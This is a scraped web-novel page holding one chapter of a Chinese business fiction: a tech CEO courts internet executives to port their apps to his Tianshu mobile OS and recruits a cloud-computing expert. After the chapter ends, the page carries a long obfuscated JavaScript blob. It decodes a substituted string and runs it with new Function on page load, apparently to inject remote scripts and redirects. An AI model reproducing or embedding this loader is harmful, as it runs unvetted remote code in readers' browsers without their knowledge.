首页
第462章 天枢软件商店适配
返回
关灯 护眼:关 字号:小

第462章 天枢软件商店适配与招揽大牛

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第462章天枢软件商店适配与招揽大牛(第1/2页)
    赵远这边忙完后,随后跟阿狸马匀、企鹅负责人马画藤等人移步到旁边的小型会客室,闭门叙话。
    刚落座,马匀便望着赵远,笑着竖起大拇指:“赵总,我今天是真服了。你们长远到底还藏着多少底牌?这是要把我们这些同行都卷死啊。”
    “马总谬赞了。”赵远淡淡一笑,语气谦和却底气十足。
    在座的几位互联网老总纷纷附和,话里话外满是赞叹,心底却都压着几分沉甸甸的无力感。
    没人想到长远这头“怪兽”的扩张速度会如此恐怖——他们还在各自的主营业务里精耕细作、守着固有地盘,长远却早已在深耕主业的同时,一步步开辟出全新赛道,且每次出手,都直接站到了行业顶端。
    他们想拓展新业务还摸不到门路,长远却次次精准踩中风口,落地便成。照这个势头发展下去,用不了多久,长远恐怕就会彻底甩开众人,坐稳国内互联网第一的位置。
    寒暄几句,赵远也没绕弯子,直接道明了这次碰面的核心目的:“马总、雷总、李总,各位,今天借这个机会,还有件事跟各位打个招呼。”
    “长远参股的红星深远公司,一直在研发天枢移动操作系统,配套的开发者平台很快就要上线。到时候不光会内嵌在我们的社交网平台,长远PC网吧管理系统也会开放专属下载入口。我希望到时候各位能赏个脸,抽点人手做个天枢系统的适配版本。”
    几位老总闻言感觉都不错啊,社交网和长远网吧管理系统这些流量都不错,随即也给了个面子都纷纷点头:“好说,赵总开口了,肯定支持。”
    众人面上答应得痛快,赵远却没有放松,也没觉得自己脸面有这么大。
    他心里清楚——这不过是先打个照面,具体分成、流量、资源置换这些核心条件,后面还得慢慢磨。毕竟这不是简单的应用适配,是奔着做应用商店去的,涉及后续的利益分成,不可能一句话就定下来。
    如今红星深远已经把开发者平台的框架搭通了,开发者只要做一次适配,就能在长远系全渠道上线——应用商店、社交平台内嵌入口、PC端软件管家,全链路打通。
    又聊了几句行业近况,众人便起身散了会。
    回到主会场,不少大厂的代表团已经陆续离场。王艰却没走,还站在体验区的屏幕前,盯着后台资源调度的监控曲线看得出神。
    赵远缓步走过去,笑着递过一杯温水:“王博士,方便再聊几句吗?这边人多嘈杂,旁边有间VIP休息室,想跟您聊聊长远云底下真正的技术逻辑。”
    王艰愣了一下,随即点头。他本就对这套系统的底层架构好奇到了极点,来之前甚至在心里捋了好几条分布式调度的优化思路,打算聊到兴头上时提出来,也算不虚此行。
    休息室的隔音门一合,外面的人声鼎沸瞬间被隔绝在外。两人相对坐下,没几句客套,话题便落到了云计算上。
    王艰先开的口。从分布式系统的数据一致性协议聊到资源调度的颗粒度瓶颈,把自己琢磨了许久的优化思路娓娓道来,言语间带着几分技术人的笃定。
    他本以为这些前沿方向,对做互联网应用起家的长远来说,多少会有些启发。
    可赵远一接话,他脸上的从容便一点点僵住了。
    从底层虚拟化内核的轻量化优化方向,到分布式存储的自研纠删码技术路线,从潮汐调度的全局负载均衡逻辑,到下一代云原生数据库的架构形态。
    赵远讲得深入浅出,不止停留在技术实现层面,更连产业落地节奏、全球合规布局、专利壁垒搭建都算得明明白白。
    那些王艰还只停留在实验室构想阶段的方向,对方早已拆解成了清晰的落地路径。
    王艰越听越心惊,到最后只剩了叹服和叹息了。
    他自诩深耕这个领域十余年,可在赵远面前,反倒有种班门弄斧的窘迫——自己那些引以为傲的见解,本想着能给对方指点一二,没想到人家早就想透了,反倒显得自己有些可笑。
    他不知道的是,赵远说的这些也不是最核心的东西,里面还掺了些非核心的引导方向,真正核心的实现细节半句没提。
    而且说的比较详细的技术,早都在全球完成了专利布局。
    长远云计算研发至今才一年多,快两年了,能拿出商用产品已经堪称奇迹,可离真正成熟的云计算体系还差得远。
    比如服务器资源利用率,后世成熟方案靠硬件辅助虚拟化能冲到90%到95%,现在长远靠着硬件加速再加赵远亲自手写的调度算法,也才摸到70%的门槛,但往上每走一个百分点都难如登天。
    再比如分布式一致性调度——这是云平台的“大脑”,要让成千上万台服务器像一台机器一样协同工作,容错、延迟、一致性三者的平衡是世界级难题。
    现在长远的稳定调度规模也就几十到上百台节点,再往上就得靠人工介入调优,运维成本指数级上涨。从百级到万级节点,中间隔着无数道技术天堑,不是靠堆人堆钱就能轻易跨过去的。
    还有云安全与全链路加密、软件定义网络SDN、分布式存储体系等等,看似都有了雏形,实则处处都有优化空间。
    说句不客气的,现在的长远云对比后世的成熟体系,不过是个刚会走路的幼童——看着有模有样,真要扛住全球级的业务量,还差着十万八千里。
    (本章未完,请点击下一页继续阅读)第462章天枢软件商店适配与招揽大牛(第2/2页)
    但即便如此,长远依旧敢铺开商用、敢喊全球上线,靠的不是技术完美,而是精准的节奏与底气:“当前的能力已经完全覆盖中小企业、站长群体的全部需求,也能承接大厂的非核心业务与峰值流量,足够撑起一个完整的商用市场;”
    当然代价也很直白:“为了弥补底层技术的成熟度缺口,长远在核心节点铺了双倍冗余的硬件池,高峰期靠资深运维团队人工值守调参;”
    “分布式一致性做不到全自动?就靠工程师7×24小时盯守仲裁;”
    “跨区域容灾延迟高?就提前预铺专线带宽、多层缓存兜底。”
    说白了,就是用超额的硬件成本和人力成本,换用户感知到的稳定体验,先用工程化手段把市场占住,再慢慢迭代技术内核。
    更关键的是,核心技术路线全是赵远亲手定的,每一步踩在哪、下一步往哪走、路上有哪些坑,他心里一清二楚。
    不用在黑暗里摸路,只要沿着正确的方向持续迭代,就能一步步逼近终极形态。
    再加上核心专利早就在全球范围完成了布局,别人要么花几倍成本绕路,要么老老实实过来谈授权,不存在技术突袭的风险。
    边做商用、边收反馈、边迭代优化,用真实业务场景喂大技术,远比在实验室里憋十年憋出个“完美产品”要靠谱得多。
    这是赵远的思路,也是长远云计算敢一出场就直面全行业的底气。
    也正因如此,赵远今天才愿意跟王艰说这么多细节。不全是为了展现实力,更是坦诚地亮出底牌——我们有方向、有基础、有节奏,但缺一个能扛起技术大旗、领着团队把这一步步走实的领军人物。
    他有这份自信,只要王艰看懂了这条路的价值,就一定会动心。
    而且没有他精准踩中每一条技术路线,避开无数前人踩过的坑,光靠团队摸着石头过河,不知道要多走多少年弯路。
    聊到兴头上,赵远话锋一转,目光郑重地落在他身上:“王博士,长远云计算现在什么都不缺,就缺一位能扛大旗的技术领军人物。不知道我有没有这份荣幸,邀请您加入长远?”
    “做一套完全自主可控的云操作系统,我知道是您藏了很多年的心愿。”
    他语气平缓,却字字戳心,“微软家大业大,可您是华国人,想做根上的底层技术创新,要受总部全球战略牵制,要平衡成熟业务的利益,很难放开手脚赌一个未来。”
    “长远不一样。我们是土生土长的华国企业,没有历史包袱,不用看任何人的脸色。所有技术路线都可以从零起笔,直奔世界最前沿去。”
    王艰沉默了。手里的温水早已凉透,他却浑然不觉。
    赵远说的没错。他在微软待了这么多年,数字墨水、SQL数据库优化的成果落地了一款又一款,可说到底,都是在别人的地基上修修补补。而且说实话,在这种外资企业里,华人想做到真正的核心决策层,难如登天。
    做一套华国人自己的、完全自主的云操作系统,是他藏在心底多年的执念。可微软的盘子太大、掣肘太多,永远有优先级更高的商业目标,轮不到他为一个看不见回报的未来allin。
    长远不一样。人家不仅把地基打牢了,产品都已经商用落地,现在递过来的,是一张能让他尽情挥毫的完整图纸。
    他心里早已翻涌得厉害。
    刚才和马匀谈完,对方开出的条件不可谓不厚重——首席架构师的头衔、每年十亿的投入、直接向一把手汇报的权限,几乎把所有能给的信任都摊在了桌上。
    他甚至已经动了心:“从零拉起一支队伍,亲手把云计算从概念做成支撑阿狸商业的底座,这种从零到一的拓荒成就感,足够打动任何一个技术人。”
    可他心里也明白:“阿狸的云计算,根上是为电商业务服务的。大促的峰值、交易的安全、店铺的体验,永远是最高优先级。”
    “技术再好,也要为阿狸电商商业目标让路;架构再优,也要向电商业务场景妥协。说到底,技术终究是电商业务的配角。”
    但赵远摆在他面前的,是一个更成熟、更纯粹,面向全世界、全行业的技术起点。
    不是从零开荒,是站在已经商用落地的完整架构上继续往上走;不是服务于某一家公司的业务,是做整个互联网行业的底层技术底座;
    目标不是支撑某一个商业帝国,是做出一套完全自主的云操作系统,去跟全球最顶尖的技术玩家同台竞技。在这里,技术本身就是目的,不是任何业务的附庸。
    单论纸面待遇,虽然还没明说,他猜测长远未必能比阿狸开得更优厚;可论技术起点的高度,论对云计算本质的理解,论做底层技术的纯粹度,论这份事业的格局,长远这边,超出太多了。
    一边是带着商业枷锁的创业,一边是直奔世界前沿的技术远征。两条路都足够有分量,也正因此,他才越发犹豫——这不是选一份工作,是选自己后半生技术生涯的归宿。
    PS:结束了兄弟们!马上万字了,没拆开是为了阅读体验好点。自己也觉得有点啰嗦,就多写了点——质量不够字数凑嘛。
    加更一章感谢“拉闸少女郭德纲”大哥的大神认证!还有一章算弥补。
    求好评、催更、礼物~
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();